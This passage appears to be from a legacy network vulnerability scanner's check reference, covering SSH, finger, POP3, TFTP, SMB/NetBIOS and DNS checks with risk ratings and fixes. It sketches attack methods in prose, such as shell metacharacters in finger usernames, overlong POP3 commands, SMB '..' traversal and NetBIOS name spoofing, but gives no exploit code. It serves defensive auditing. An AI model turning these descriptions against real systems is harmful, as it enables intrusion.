Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15030. SSH Version 1.2.17 check

Verbose Description
Version 1.2.17 of the SSH server package contains security vulnerabilities which can lead to an attacker compromising the security of the SSH protocol. This vulnerability is present in version 1.5 of the SSH protocol which is only present in version 1.2.17 of the SSH package.

Suggestions
Upgrading to version 1.2.20 or later will remedy this problem.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Confidentiality Authorization

15031. Vacation remote execution vulnerability

Verbose Description
Vacation is used by the recipient of email messages to notify the sender

that they are not currently reading their mail. A vulnerability exists within the vacation program which allows individuals to execute commands remotely.

Security Concerns
This vulnerability allows remote users to compromise the accounts of any user running the vacation program.

Suggestions
Obtain a patch from your operating system vendor if one is availible.

References
NAI Security Advisory #19
http://www.nai.com/products/security/advisory/19_vacation_adv.asp
Sun security-alert-163
http://sunsolve.sun.com/sunsolve/secbulletins/security-alert-163.txt

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15032. Perl fingerd 0.2

Verbose Description
Version 0.2 of the perl fingerd passes remote usernames to a shell. Thus, passing the fingerd a username containing shell metacharacters can cause it to execute arbitrary commands remotely.

Suggestions
Use a standard fingerd, or modify the fingerd so that it does not pass information from a remote host to a shell.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

15033. DG/UX fingerd

Verbose Description
Some versions of the DG/UX fingerd pass their input to a shell. This makes it possible for remote attackers to execute arbitrary commands on the DG/UX system.

Suggestions
Contact Data General for a fix. If a fix is not availible, we recommend installing a replacement finger daemon or temporarily disabling the finger service.

To disable the finger service edit the file /etc/inetd.conf on your system and look for the following line:

```
finger  stream tcp nowait nobody /usr/libexec/fingerd fingerd
```

Disable the finger service by placing a '#' character infront of this line, and restart the inetd service.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Obscure
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

15034. Telnet Daemon TERMCAP check

Verbose Description
This module determines whether the remote telnet daemon is vulnerable to a buffer overflow attack when parsing a terminal capability file. By uploading an alternate termcap file, an attacker can specify the path to this file and cause the telnet daemon to execute arbitrary commands.

Security Concerns
Remote attackers can obtain superuser access remotely by connecting to the telnet daemon.

Suggestions
Upgrade your operating system to a more recent version.

Risk Factor: High
Ease of repair: Moderate

Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15035. POP3 Username Overflow check

Verbose Description
This module determines whether the remote POP3 server is vulnerable to a buffer overflow attack when parsing the user login name. By providing the daemon with a long username, an attacker can overflow the username buffer and cause the server to crash. It may be possible for an attacker to cause the server to run arbitrary programs by providing a carefully crafted username.

If the POP3 server is the Seattle Lab Mail Server package, crashing the POP3 server causes the entire mail server to stop.

Notice:

Certain versions of SCO Unix ship with a POP3 service enabled that is vulnerable to a similar serious problem, in which an attacker can exploit a buffer overflow triggered by any overly-large command. Because the test for this specific POP3 vulnerability involves the transmission of an extremely large POP command, this test may flag vulnerable SCO POP servers as well.

Security Concerns
Remote attackers can crash the POP3 server and may be able to cause it to run programs.

Suggestions
If you are running Seattle Lab Mail Server upgrade to the latest version. If you are running another POP3 server, contact your vendor.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15037. Null Rsh Check

Verbose Description
This module determines whether a remote user is able to login to the target system by specifying a NULL username. The in.rshd daemon on some systems would allow logins from NULL users due to a vulnerability in the ruserok() library call.

Security Concerns
Attackers can gain access to vulnerable systems.

Suggestions
Contact your vendor for a fix. Disable the in.rshd service on the vulnerable system. Running rshd poses other security concerns as well, and should not be run on any internet connected network.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15038. Solaris in.rlogind FTP bounce vulnerability

Verbose Description
This module determines whether the rlogin daemon on the target host is vulnerable to an FTP bounce attack. This vulnerability relies on the ability of an attacker to subvert the FTP daemon on the target host to connect to the rlogin service port on the target host, and execute arbitrary commands.

This module determines whether the target server's rlogin daemon is vulnerable to this attack. In order to be exploited however, the FTP daemon must also be running on the target host. This module does not determine whether the FTP server is running. While this may not be an exploitable vulnerability at this time, it is possible that an FTP server may be running on the target host in the future.

Security Concerns
If vulnerable, an attacker can execute arbitrary commands on a target host. This can lead to direct access to the target system.

Suggestions
Please see Sun Microsystems, Inc. Security Bulletin #00156 for additional information. Sun Microsystems has issued the following patches to fix this problem:

SunOS 5.5.1 103603-05
104935-01
SunOS 5.5.1_x86 103604-05
104936-01
SunOS 5.5 103577-06
104933-01
SunOS 5.5_x86 103578-06
104934-01
SunOS 5.4 101945-51
SunOS 5.4_x86 101946-45
SunOS 5.3 104938-01
SunOS 4.1.4 104477-03
SunOS 4.1.3_U1 104454-03

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability Authorization

15039. Qualcomm "qpopper" POP3 command vulnerability

Verbose Description
The target host was found to be running a vulnerable version of the Qualcomm "qpopper" POP3 service. The version present contains a vulnerability which allows an attacker to execute arbitrary commands remotely as the super-user.

Notice:

Certain versions of SCO Unix ship with a POP3 service enabled that is vulnerable to a similar serious problem, in which an attacker can exploit a buffer overflow triggered by any overly-large command. Because the test for this specific POP3 vulnerability involves the transmission of an extremely large POP command, this test may flag vulnerable SCO POP servers as well.

Security Concerns
If vulnerable, an attacker can execute arbitrary commands on a target host. This can lead to direct access to the target system.

Suggestions
It is recommended that you immediately disable this service and replace it with an updated version of this software which provides a solution to this vulnerability.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15040. Qualcomm "qpopper" POP3 PASS Overflow

Verbose Description
The target host was found to be running a vulnerable version of the Qualcomm "qpopper" POP3 service. The version present contains a vulnerability which allows an attacker to execute arbitrary commands remotely as the super-user.

Notice:

Certain versions of SCO Unix ship with a POP3 service enabled that is vulnerable to a similar serious problem, in which an attacker can exploit a buffer overflow triggered by any overly-large command. Because the test for this specific POP3 vulnerability involves the transmission of an extremely large POP command, this test may flag vulnerable SCO POP servers as well.

Security Concerns
If vulnerable, an attacker can execute arbitrary commands on a target host. This can lead to direct access to the target system.

Suggestions
It is recommended that you immediately disable this service and replace it with an updated version of this software which provides a solution to this vulnerability.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15043. TFTP (Trivial File Transfer Protocol) readable

Verbose Description

The TFTP service running on the target host was found to allow the retrieval of arbitrary files.

Security Concerns
By utilizing the TFTP service, an attacker can obtain arbitrary files which are present on the target system. TFTP, when not configured properly will allow remote users to access critical system files such as the password and shadow password file.

Suggestions
It is recommended that you review the security settings on your TFTP daemon. Many TFTP daemons support a "-s" flag which allows the specification of a directory to which requests are limited to. If you have no need to run the TFTP service, then it is recommended that you disable this service in the /etc/inetd.conf configuration file.

References
CERT Advisory CA-91:18.Active.Internet.tftp.Attacks
ftp://ftp.cert.org/pub/cert_advisories/CA-91:18.Active.Internet.tftp.Attacks
CERT Advisory CA-91:19.AIX.TFTP.Daemon.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-91:19.AIX.TFTP.Daemon.vulnerability
CIAC Advisory ciac-05.unix-holes
ftp://ciac.llnl.gov/pub/ciac/bulletin/fy89/ciac-05.unix-holes
CIAC Advisory b-44.ciac-automated-tftp-probes
ftp://ciac/llnl.gov/pub/ciac/bulletin/b-fy91/b-44.ciac-automated-tftp-probes
CIAC Advisory c-01.ciac-tftpd-patch-for-rs6000
ftp://ciac/llnl.gov/pub/ciac/bulletin/c-fy92/c-01.ciac-tftpd-patch-for-rs6000
AUSCERT Advisory AA-93.05.tftp.Attacks
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-93.05.tftp.Attacks

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Confidentiality Authorization Intelligence

15044. TFTP (Trivial File Transfer Protocol) writeable

Verbose Description
The TFTP service running on the target host was found to allow arbitrary files to be created and written to anywhere on the target system.

Security Concerns

By utilizing the TFTP service, an attacker can create arbitrary files on the target system. TFTP, when not configured properly will allow remote users to create, or overwrite critical system files such as the password and shadow password file.

Suggestions
It is recommended that you review the security settings on your TFTP daemon. Many TFTP daemons support a "-s" flag which allows the specification of a directory to which requests are limited to. If you have no need to run the TFTP service, then it is recommended that you disable this service in the /etc/inetd.conf configuration file.

References
CERT Advisory CA-91:18.Active.Internet.tftp.Attacks
ftp://ftp.cert.org/pub/cert_advisories/CA-91:18.Active.Internet.tftp.Attacks
CERT Advisory CA-91:19.AIX.TFTP.Daemon.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-91:19.AIX.TFTP.Daemon.vulnerability
CIAC Advisory ciac-05.unix-holes
ftp://ciac.llnl.gov/pub/ciac/bulletin/fy89/ciac-05.unix-holes
CIAC Advisory b-44.ciac-automated-tftp-probes
ftp://ciac/llnl.gov/pub/ciac/bulletin/b-fy91/b-44.ciac-automated-tftp-probes
CIAC Advisory c-01.ciac-tftpd-patch-for-rs6000
ftp://ciac/llnl.gov/pub/ciac/bulletin/c-fy92/c-01.ciac-tftpd-patch-for-rs6000
AUSCERT Advisory AA-93.05.tftp.Attacks
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-93.05.tftp.Attacks

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Confidentiality Authorization Intelligence

15045. SSH RhostsAuthentication enabled

Verbose Description
The SSH service running on the target host was found to have rhosts authentication enabled. rhosts authentication provides access verification based on the source address of the client user, and is susceptible to IP address spoofing, and DNS cache corruption attacks.

Security Concerns
rhosts authentication is an extremely weak form of authentication which should not be used in any security sensitive environments.

Suggestions
It is recommended that you disable rhosts authentication immediately by editing the /etc/sshd_config file on the target host. Create or edit the "RhostsAuthentication" line to read as follows:

RhostsAuthentication no

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration

Impact of Attack: **Intelligence**

16: SMB/NETBIOS RESOURCE SHARING

16001. Unpassworded NetBIOS/SMB check

Verbose Description
Service Message Block (SMB) is the standard resource-sharing protocol used by Windows platforms. The SMB protocol is transmitted using NetBIOS, a networking protocol designed to allow groups of PCs to interoperate. NetBIOS is accessible over TCP/IP using the NBT protocol.

SMB resource sharing makes use of two different security models, "share-level" and "user-level". In share-level security, groups of files (directory trees) are protected by a password, allowing simple workgroups to be configured simply by ensuring that they share a password. In user-level security, all attempts to access resources are authenticated with a username and password.

It is possible to obtain a list of shares offered by an SMB-speaking computer by initiating an SMB session with no username or password (this is referred to as a "null session"). The information available from this transaction can be used by an attacker to conduct further attacks.

Notice:

Modules 16001 through 16009 depend on each other for information, and cannot be configured separately. If any of these modules are selected, all of the other modules in this range will run as well.

Suggestions
Only valid authenticated users should be allowed to actually access any of the services and shares which are offered by the host. Verify that all shares are passworded and have the correct permissions set. To enable authentication on Windows NT, follow the following steps:

1. Enter the 'explorer' program.
2. Select the share.
3. Select properties.
4. Select permissions.
5. Set appropriately.

High Level Description
SMB is the protocol by which Microsoft platforms (and platforms that interoperate with Microsoft) share resources. Resources offered by SMB servers are called "shares", and are often protected by passwords. An attacker that can compromise the security of an SMB server can gain access to files, stealing confidential data and violating the integrity of the system. An attacker can gain a list of shares to attack by manipulating

the SMB protocol; this information can be used to further attacks on the server.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Confidentiality Intelligence

16002. Guessable NetBIOS/SMB password check

Verbose Description
Service Message Block (SMB) is the standard resource-sharing protocol used by Windows platforms. The SMB protocol is transmitted using NetBIOS, a networking protocol designed to allow groups of PCs to interoperate. NetBIOS is accessible over TCP/IP using the NBT protocol.

SMB resource sharing makes use of two different security models, "share-level" and "user-level". In share-level security, groups of files (directory trees) are protected by a password, allowing simple workgroups to be configured simply by ensuring that they share a password. In user-level security, all attempts to access resources are authenticated with a username and password.

This check attempts to connect to the remote NetBIOS file sharing service and attempt to login with common passwords and accounts which are enabled with Windows NT by default. If successful, this will allow an unauthorized user to access shares and services which are being offered by the remote host.

Notice:

Modules 16001 through 16009 depend on each other for information, and cannot be configured separately. If any of these modules are selected, all of the other modules in this range will run as well.

Suggestions
Only valid authenticated users should be allowed to actually access any of the services and shares which are offered by the host. Verify that all shares are passworded and have the correct permissions set. To enable authentication on Windows NT, follow the following steps:

1. Enter the 'explorer' program.
2. Select the share.
3. Select properties.
4. Select permissions.
5. Set appropriately.

High Level Description
SMB is the protocol by which Microsoft platforms (and platforms that interoperate with Microsoft) share resources. Resources offered by SMB servers are called "shares", and are often protected by passwords. An attacker that can compromise the security of an SMB server can gain access to files, stealing confidential data and violating the integrity of the system.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Confidentiality Data Integrity Intelligence

16003. SMB LANMAN Pipe Server information gathering

Verbose Description
Service Message Block (SMB) is the standard resource-sharing protocol used by Windows platforms. The SMB protocol is transmitted using NetBIOS, a networking protocol designed to allow groups of PCs to interoperate. NetBIOS is accessible over TCP/IP using the NBT protocol.

One resource SMB servers make available to clients is an IPC mechanism called "transaction pipes". A transaction pipe allows SMB clients to communicate with remote servers using the SMB protocol as a transport. Transaction pipes are accessed via special "file names" from SMB hosts.

Among the transaction pipes available to clients of Windows NT servers is "\\PIPE\\LANMAN", over which the Remote Administration Protocol (RAP) is spoken. Using the LANMAN pipe, it is possible to collect a great deal of information about the configuration and status of an NT server.

Information available from the LANMAN pipe includes version and vendor information, along with NT server, workgroup, and domain names. This information can be useful to an attacker when looking for weaknesses in particular server implementations.

Notice:

Modules 16001 through 16009 depend on each other for information, and cannot be configured separately. If any of these modules are selected, all of the other modules in this range will run as well.

Suggestions
Only valid authenticated users should be allowed to actually access any of the services and shares which are offered by the host. Verify that all

shares are passworded and have the correct permissions set. To enable authentication on Windows NT, follow the following steps:

1. Enter the 'explorer' program.
2. Select the share.
3. Select properties.
4. Select permissions.
5. Set appropriately.

High Level Description
SMB is the protocol by which Microsoft platforms (and platforms that interoperate with Microsoft) share resources. Resources offered by SMB servers are called "shares", and are often protected by passwords. Using resources made available over SMB by Windows NT hosts, it is possible to collect a great deal of information about the configuration and status of a host. This information can be used to launch further attacks against the server.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

16004. SMB LANMAN Pipe Share listing

Verbose Description
Service Message Block (SMB) is the standard resource-sharing protocol used by Windows platforms. The SMB protocol is transmitted using NetBIOS, a networking protocol designed to allow groups of PCs to interoperate. NetBIOS is accessible over TCP/IP using the NBT protocol.

One resource SMB servers make available to clients is an IPC mechanism called "transaction pipes". A transaction pipe allows SMB clients to communicate with remote servers using the SMB protocol as a transport. Transaction pipes are accessed via special "file names" from SMB hosts.

Among the transaction pipes available to clients of Windows NT servers is "\\PIPE\\LANMAN", over which the Remote Administration Protocol (RAP) is spoken. Using the LANMAN pipe, it is possible to collect a great deal of information about the configuration and status of an NT server.

Information available from the LANMAN pipe includes a list of shares available on the NT server. This provides an attacker a listing of directories and file systems which are being offered, giving an attacker a target filesystem or service to attempt to abuse.

Notice:

Modules 16001 through 16009 depend on each other for information, and cannot be configured separately. If any of these modules are selected, all of the other modules in this range will run as well.

Suggestions
Only valid authenticated users should be allowed to actually access any of the services and shares which are offered by the host. Verify that all shares are passworded and have the correct permissions set. To enable authentication on Windows NT, follow the following steps:

1. Enter the 'explorer' program.
2. Select the share.
3. Select properties.
4. Select permissions.
5. Set appropriately.

High Level Description
SMB is the protocol by which Microsoft platforms (and platforms that interoperate with Microsoft) share resources. Resources offered by SMB servers are called "shares", and are often protected by passwords. By manipulating the SMB protocol, it is possible for an attacker to gain access to the list of shares available from an NT server. This information can assist an attacker in launching further attacks against the system.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

16005. SMB LANMAN Pipe Server browse listing

Verbose Description
Service Message Block (SMB) is the standard resource-sharing protocol used by Windows platforms. The SMB protocol is transmitted using NetBIOS, a networking protocol designed to allow groups of PCs to interoperate. NetBIOS is accessible over TCP/IP using the NBT protocol.

One resource SMB servers make available to clients is an IPC mechanism called "transaction pipes". A transaction pipe allows SMB clients to communicate with remote servers using the SMB protocol as a transport. Transaction pipes are accessed via special "file names" from SMB hosts.

Among the transaction pipes available to clients of Windows NT servers is

"\\PIPE\\LANMAN", over which the Remote Administration Protocol (RAP) is spoken. Using the LANMAN pipe, it is possible to collect a great deal of information about the configuration and status of an NT server.

The information available from an NT server via the LANMAN pipe includes the "browse listing" of the system, which lists the names of other SMB-speaking systems that the server communicates. This information can provide an attacker with an easy way to obtain new target systems to attack.

Notice:

Modules 16001 through 16009 depend on each other for information, and cannot be configured separately. If any of these modules are selected, all of the other modules in this range will run as well.

Suggestions

Only valid authenticated users should be allowed to actually access any of the services and shares which are offered by the host. Verify that all shares are passworded and have the correct permissions set. To enable authentication on Windows NT, follow the following steps:

1. Enter the 'explorer' program.
2. Select the share.
3. Select properties.
4. Select permissions.
5. Set appropriately.

High Level Description

SMB is the protocol by which Microsoft platforms (and platforms that interoperate with Microsoft) share resources. Windows NT servers keep track of the machines they speak SMB with in the "browse list". By manipulating the SMB protocol, it is possible for an attacker to gain access to the browse list an NT server. This information can provide an easy way for attackers to discover new target systems to attack.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

16006. NetBIOS/SMB Accessible Share

Verbose Description

Service Message Block (SMB) is the standard resource-sharing protocol used by Windows platforms. The SMB protocol is transmitted using NetBIOS, a networking protocol designed to allow groups of PCs to interoperate. NetBIOS is accessible over TCP/IP using the NBT protocol.

SMB resource sharing makes use of two different security models, "share-level" and "user-level". In share-level security, groups of files (directory trees) are protected by a password, allowing simple workgroups to be configured simply by ensuring that they share a password. In user-level security, all attempts to access resources are authenticated with a username and password.

By manipulating the SMB protocol and services offered by Windows NT, it is possible to obtain a list of shares exported by an SMB service. In addition, Windows SMB servers tend to have several common shares available, the presence of which can be guessed without attempting to obtain a share list.

This check attempts to access all shares which are being served by the remote server. If any shares are accessible, an intruder can possibly read or write data from and to the share. This can lead to data being stolen, or modified on the server.

Notice:

Modules 16001 through 16009 depend on each other for information, and cannot be configured separately. If any of these modules are selected, all of the other modules in this range will run as well.

Suggestions

Only valid authenticated users should be allowed to actually access any of the services and shares which are offered by the host. Verify that all shares are passworded and have the correct permissions set. To enable authentication on Windows NT, follow the following steps:

1. Enter the 'explorer' program.
2. Select the share.
3. Select properties.
4. Select permissions.
5. Set appropriately.

High Level Description

SMB is the protocol by which Microsoft platforms (and platforms that interoperate with Microsoft) share resources. Resources offered by SMB servers are called "shares", and are often protected by passwords. An attacker that can compromise the security of an SMB server can gain access to files, stealing confidential data and violating the integrity of the system.

Risk Factor: High

Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: Confidentiality Data Integrity Intelligence

16007. NetBIOS/SMB Hidden Share

Verbose Description
Service Message Block (SMB) is the standard resource-sharing protocol used by Windows platforms. The SMB protocol is transmitted using NetBIOS, a networking protocol designed to allow groups of PCs to interoperate. NetBIOS is accessible over TCP/IP using the NBT protocol.

SMB resource sharing makes use of two different security models, "share-level" and "user-level". In share-level security, groups of files (directory trees) are protected by a password, allowing simple workgroups to be configured simply by ensuring that they share a password. In user-level security, all attempts to access resources are authenticated with a username and password.

Although it is possible, by manipulating the SMB protocol and services offered by Windows NT, to obtain a list of shares, many SMB servers also have several common share names available, including the "ROOT" share and the root directory of MS-DOS hard drive partitions. An attacker can guess the names of these shares and verify their presence using the SMB protocol, and thus gain information that can be used to launch further attacks against the system. An attacker that can gain access to these shares can potentially read or modify the data they contain.

Notice:

Modules 16001 through 16009 depend on each other for information, and cannot be configured separately. If any of these modules are selected, all of the other modules in this range will run as well.

Suggestions
Only valid authenticated users should be allowed to actually access any of the services and shares which are offered by the host. Verify that all shares are passworded and have the correct permissions set. To enable authentication on Windows NT, follow the following steps:

1. Enter the 'explorer' program.
2. Select the share.
3. Select properties.
4. Select permissions.
5. Set appropriately.

High Level Description
SMB is the protocol by which Microsoft platforms (and platforms that interoperate with Microsoft) share resources. Resources offered by SMB servers are called "shares", and are often protected by passwords. An attacker that can compromise the security of an SMB server can gain access to files, stealing confidential data and violating the integrity of the system.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Confidentiality Data Integrity Intelligence

16008. NetBIOS/SMB Writeable Share Check

Verbose Description
Service Message Block (SMB) is the standard resource-sharing protocol used by Windows platforms. The SMB protocol is transmitted using NetBIOS, a networking protocol designed to allow groups of PCs to interoperate. NetBIOS is accessible over TCP/IP using the NBT protocol.

SMB resource sharing makes use of two different security models, "share-level" and "user-level". In share-level security, groups of files (directory trees) are protected by a password, allowing simple workgroups to be configured simply by ensuring that they share a password. In user-level security, all attempts to access resources are authenticated with a username and password.

This check confirms that a share which has been determined to be accessible to an attacker is also writeable. An attacker with write access to a share can modify the data it contains, violating the integrity of that data and potentially the entire system.

Notice:

Modules 16001 through 16009 depend on each other for information, and cannot be configured separately. If any of these modules are selected, all of the other modules in this range will run as well.

Suggestions
Only valid authenticated users should be allowed to actually access any of the services and shares which are offered by the host. Verify that all shares are passworded and have the correct permissions set. To enable authentication on Windows NT, follow the following steps:

1. Enter the 'explorer' program.

2. Select the share.
3. Select properties.
4. Select permissions.
5. Set appropriately.

High Level Description
SMB is the protocol by which Microsoft platforms (and platforms that interoperate with Microsoft) share resources. Resources offered by SMB servers are called "shares", and are often protected by passwords. An attacker that can compromise the security of an SMB server can gain access to files, stealing confidential data and violating the integrity of the system.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Data Integrity

16009. NetBIOS/SMB Dot Dot Bug

Verbose Description
Service Message Block (SMB) is the standard resource-sharing protocol used by Windows platforms. The SMB protocol is transmitted using NetBIOS, a networking protocol designed to allow groups of PCs to interoperate. NetBIOS is accessible over TCP/IP using the NBT protocol.

SMB resource sharing makes use of two different security models, "share-level" and "user-level". In share-level security, groups of files (directory trees) are protected by a password, allowing simple workgroups to be configured simply by ensuring that they share a password. In user-level security, all attempts to access resources are authenticated with a username and password.

SMB shares specify collections of files that are accessible to an SMB client. Data outside the specified SMB share on the server should not be accessible to a client; this allows selective portions of a filesystem to be shared via SMB. Complete access to the filesystem of an SMB server would allow clients to access and modify it's configuration, thus compromising the integrity of the system.

In some SMB implementations, permutations of the ".." directory are handled incorrectly, allowing an attacker to access data outside the exported share. This check attempts to circumvent directory protection by excercising this bug.

Notice:

Modules 16001 through 16009 depend on each other for information, and cannot be configured separately. If any of these modules are selected, all of the other modules in this range will run as well.

Suggestions
Only valid authenticated users should be allowed to actually access any of the services and shares which are offered by the host. Verify that all shares are passworded and have the correct permissions set. To enable authentication on Windows NT, follow the following steps:

1. Enter the 'explorer' program.
2. Select the share.
3. Select properties.
4. Select permissions.
5. Set appropriately.

High Level Description
SMB is the protocol by which Microsoft platforms (and platforms that interoperate with Microsoft) share resources. Resources offered by SMB servers are called "shares", and are often protected by passwords. SMB shares specify a restricted set of files available to clients; SMB clients should not be able to access data outside of an SMB share. Due to a bug in some SMB implementations, it is possible to bypass this restriction, enabling an attacker to access the entire filesystem of an SMB server, thus compromising the integrity of the system.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity Confidentiality Authorization Intelligence

16020. NetBIOS Name Table Retrieval (WINS)

Verbose Description
This check obtains the system name tables from the remote system's NetBIOS name service.

Security Concerns
By accessing system name table information, individuals can obtain information which can be used to launch an attack. Information available includes:

1. The NetBIOS name of the server.

2. The Windows NT workgroup domain name.
3. Login names of users who are logged into the server.
4. The name of the administrator account if they are logged into the server.

Suggestions
Ensure that users outside of your network are not permitted to access the NetBIOS name service. This can be performed by implementing packet filters on UDP port 137.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Intelligence

16021. NetBIOS Name Table Registration

Verbose Description
This module performs a NetBIOS name registration to register a false machine name on the target host.

Security Concerns
By being able to register a false entry in the NetBIOS name server's cache, an attacker can cause NetBIOS name entries to point to any IP address they specify. Network services which rely on the NetBIOS name service (WINS under Windows NT) for hostname resolution can be caused to connect to an attacker's host rather than the legitimate server.

Vulnerable:
Samba SMB implementations

Suggestions
Ensure that users outside of your network are not permitted to access the NetBIOS name service. This can be performed by implementing packet filters on UDP port 137.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Data Integrity

16022. NetBIOS Name Table De-registration

Verbose Description
This module performs a NetBIOS name release to de-register NetBIOS name table entries.

Security Concerns
By being able to de-register entries in the NetBIOS name server's cache, an attacker can erase existing cache entries, and then register a false entry, causing the NetBIOS name entry to point to any IP address they specify. Network services which rely on the NetBIOS name service (WINS under Windows NT) for hostname resolution can be caused to connect to an attacker's host rather than the legitimate server.

Vulnerable:
Samba SMB implementations

Suggestions
Ensure that users outside of your network are not permitted to access the NetBIOS name service. This can be performed by implementing packet filters on UDP port 137.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Data Integrity

16023. NetBIOS Samba login defaults to GUEST

Verbose Description
Samba is a NetBIOS/SMB file sharing package availible for Unix based operating systems, allowing interoperability with Windows NT file sharing. The Samba server found on the target host has been found to default to a GUEST login, if a valid username and password are not entered.

Security Concerns
By allowing users without a valid username and password to login as the GUEST user, file systems and other system information on the target host may be exposed to unauthorized users. Review your Samba system configuration files to ensure that access control is set in accordance to your policy.

Suggestions
Guest access may be required for particular services, in such a case, the hosts which are allowed to legitimately access the Samba server as guest can be specified in the global configuration in the following manner:

[global]
hosts allow = 1.1.1.1 1.1.2.0/255.255.255.0

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Confidentiality Accountability Data Integrity Authorization Intelligence

16024. NetBIOS Samba password buffer overflow

Verbose Description
The Samba NetBIOS distribution on the target host contains a buffer overflow vulnerability which can allow remote users to execute arbitrary commands on the server.

By specified a correctly formatted password string which is longer than the password which Samba is expecting, a buffer overflow occurs. Versions of Samba prior to 1.9.17p2 are vulnerable to this attack.

Security Concerns
Remote users can execute arbitrary commands as the root user on your Samba server. The only requirement to perform this attack, is that the intruder can connect to the SMB port (TCP port 139) on the target host.

Suggestions
Upgrade your version of the Samba suite immediately. The latest version of Samba is availible from ftp://samba.anu.edu.au/pub/samba

References
CERT Bulletin VB-97.10
ftp://ftp.cert.org/pub/cert_bulletins/VB-97.10

Risk Factor: High
Ease of repair: Moderate

Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation

Impact of Attack: **System Integrity**

17: DOMAIN NAME SYSTEM AND BIND

17002. DNS Supports IQUERY check

Verbose Description
This module determines whether or not the remote nameserver supports the IQUERY operation. The IQUERY function in named implementations is fed an IP range (netmask) and will return all available resource records for the hosts within the given range.

Suggestions
We suggest you do not compile your name daemon with IQUERY support. Keeping this support in your name daemon will allow intruders to poll zone transfers regardless of whether you allow them or not.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

17004. DNS Zone transfer check

Verbose Description
This module determines whether or not zone transfers are supported by the given nameserver.

Suggestions
As a rule remote users have no reason to have your zone maps. We suggest you configure DNS not to honor zone transfers.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

17005. DNS Zone transfer by exhaustive search using IQUERY

Verbose Description
If the specified nameserver does not allow zone transfers, it is still possible in most cases to obtain the same information, and resource records by iteratively using the IQUERY operation to build a listing of the domain.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Intelligence

17007. DNS Server allows Updates

Verbose Description
This checks if the target DNS was compiled with the '-DALLOW_UPDATES', this is an extension which allows for dynamic updating of name service information. The dynamic update code in BIND as noted by its author Mike Schwartz schwartz@cs.washington.edu, ignores all security issues. As a result, any DNS compiled with -DALLOW_UPDATES can be easily fooled into changing resource records of the zones it serves. These updates will also be propagated to secondary name servers.

Suggestions
If your named is vulnerable to this attack we suggest you recompile it without the -DALLOW_UPDATES option.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Data Integrity

17008. DNS additional info piggybacked in a QUERY check

Verbose Description
